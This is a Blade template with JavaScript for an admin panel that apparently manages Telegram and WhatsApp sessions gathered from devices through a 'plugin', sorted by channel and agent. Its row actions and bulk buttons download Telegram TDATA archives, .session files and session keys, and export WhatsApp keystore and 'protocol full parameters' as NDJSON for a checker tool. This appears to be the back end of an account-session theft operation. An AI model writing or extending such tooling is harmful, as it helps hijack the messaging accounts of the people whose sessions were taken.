Files
coruna-lab/resources/views/admin/sessions/index.blade.php
T
2026-10-03 05:40:19 +08:00

359 lines
15 KiB
PHP

@extends('admin.content')
@section('title', $title)
@section('content')
@php
$portal = $portal ?? 'admin';
$isWhatsApp = (int) ($kind ?? 0) === \App\Models\PluginSession::KIND_WHATSAPP;
@endphp
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-session-search">
<div class="layui-form-item">
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">{{ $isWhatsApp ? '账号 / 手机' : '用户 ID' }}</label>
<div class="layui-input-block">
<input type="text" name="account_id" class="layui-input" autocomplete="off">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">创建时间</label>
<div class="layui-input-block">
<div class="layui-input-inline" style="width: 150px;">
<input type="text" name="created_from" id="LAY-session-created-from" placeholder="开始日期" autocomplete="off" class="layui-input">
</div>
<div class="layui-form-mid">-</div>
<div class="layui-input-inline" style="width: 150px;">
<input type="text" name="created_to" id="LAY-session-created-to" placeholder="结束日期" autocomplete="off" class="layui-input">
</div>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-session-search">搜索</button>
</div>
</div>
</form>
<div class="layui-card-body">
<div style="margin-bottom:10px;">
@if ($isWhatsApp)
<button class="layui-btn layui-btn-normal" id="LAY-session-export-ws"><i class="layui-icon layui-icon-export"></i>导出 WS 全参</button>
<span style="margin-left:10px;color:#999;font-size:12px;">批量导出一次限 1000 条,请先选择时间范围</span>
@else
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出原始参数 ZIP</button>
@endif
</div>
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
<script type="text/html" id="LAY-session-ops">
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
@if ($isWhatsApp)
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
@endif
@if (! $isWhatsApp && auth('admin')->user()?->isSuper())
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
@endif
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'laydate', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer;
var laydate = layui.laydate;
var isWhatsApp = @json($isWhatsApp);
var dataUrl = @json($isWhatsApp ? route($portal.'.whatsapp.data') : route($portal.'.telegram.data'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
laydate.render({ elem: '#LAY-session-created-from', type: 'date' });
laydate.render({ elem: '#LAY-session-created-to', type: 'date' });
function esc(s) {
return String(s == null ? '' : s)
.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}
function yesNo(v) {
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
}
function dash(v) { return v ? v : '—'; }
var cols = [
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'device_key', title: '设备 ID', width: 160 },
{ field: 'channel_id', title: '渠道 ID', width: 160, templet: function (d) { return dash(d.channel_id); } }
];
if (isWhatsApp) {
cols.push(
{ field: 'account_id', title: '账号', minWidth: 160, sort: true, templet: function (d) { return dash(d.account_id); } },
{ field: 'phone', title: '手机号', width: 150, templet: function (d) { return dash(d.phone); } },
{ field: 'nickname', title: '昵称', width: 140, templet: function (d) { return dash(d.nickname); } },
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } }
);
} else {
cols.push(
{ field: 'account_id', title: '用户 ID', minWidth: 160, sort: true, templet: function (d) { return dash(d.account_id); } },
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } }
);
}
cols.push(
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
);
table.render({
elem: '#LAY-session-list',
id: 'LAY-session-list',
url: dataUrl,
cols: [cols],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-session-search)', function (data) {
table.reload('LAY-session-list', { where: data.field, page: { curr: 1 } });
return false;
});
// Bulk export: build a query string from the current search form and
// trigger a download via a hidden <a>. The server streams a ZIP from disk.
var zipBtn = document.getElementById('LAY-session-export');
if (zipBtn) {
zipBtn.addEventListener('click', function () {
var params = new URLSearchParams();
params.set('kind', isWhatsApp ? '2' : '1');
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
if (formEl) {
var fd = new FormData(formEl);
fd.forEach(function (v, k) { if (v) params.set(k, v); });
}
var url = @json(route($portal.'.sessions.export')) + '?' + params.toString();
var load = layer.load(1, { shade: 0.1 });
// Use fetch so we can detect JSON error responses (422) vs the ZIP blob.
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = (isWhatsApp ? 'ws' : 'tg') + '-sessions.zip';
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '导出失败');
});
});
}
// WS TXT export: same filters, but returns a single NDJSON .txt (one JSON
// per line, 26 fields — chk.ts native format). Server converts each wap.js
// payload on the fly.
var wsBtn = document.getElementById('LAY-session-export-ws');
if (wsBtn) {
wsBtn.addEventListener('click', function () {
var params = new URLSearchParams();
params.set('kind', '2');
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
if (formEl) {
var fd = new FormData(formEl);
fd.forEach(function (v, k) { if (v) params.set(k, v); });
}
var url = @json(route($portal.'.sessions.export.ws')) + '?' + params.toString();
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
}
var skipped = res.headers.get('X-Export-Skipped') || '0';
var written = res.headers.get('X-Export-Written') || '';
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'ws-' + @json(date('Ymd-His')) + '.txt';
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
if (skipped && skipped !== '0') {
layer.msg('导出完成,跳过 ' + skipped + ' 条无密钥数据' + (written ? ',写入 ' + written + ' 条' : ''));
}
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '导出失败');
});
});
}
table.on('tool(LAY-session-list)', function (obj) {
if (obj.event === 'payload') {
var url = obj.data.payload_url;
if (!url) {
layer.msg('缺少参数地址');
return;
}
var load = layer.load(1, { shade: 0.1 });
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
.then(function (res) {
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
})
.then(function (out) {
layer.close(load);
var body = out.body || {};
var json = body.data && body.data.payload_json;
if (!out.ok || body.code === 1 || !json) {
layer.msg(body.msg || '加载参数失败');
return;
}
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
var downloadBtn = downloadUrl
? '<a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a>'
: '';
layer.open({
type: 1,
title: (isWhatsApp ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
area: ['720px', '520px'],
content: '<div style="margin:12px 12px 0;">' + downloadBtn + '</div>' +
'<pre class="json-block" style="margin:12px;max-height:400px;">' +
esc(json) + '</pre>'
});
})
.catch(function () {
layer.close(load);
layer.msg('加载参数失败');
});
return;
}
if (obj.event === 'wsFull') {
var url = obj.data.ws_full_url;
if (!url) {
layer.msg('缺少协议全参地址');
return;
}
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '转换失败');
});
return;
}
if (obj.event === 'tdata') {
var url = obj.data.tdata_url;
if (!url) {
layer.msg('缺少 TDATA 地址');
return;
}
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '转换失败');
});
return;
}
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
var type = typeMap[obj.event];
var baseUrl = obj.data.session_file_url;
if (!baseUrl) {
layer.msg('缺少会话文件地址');
return;
}
var url = baseUrl + '?type=' + type;
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '转换失败');
});
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
try {
if (parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(url, title);
return;
}
} catch (e) {}
location.href = url;
});
});
</script>
@endpush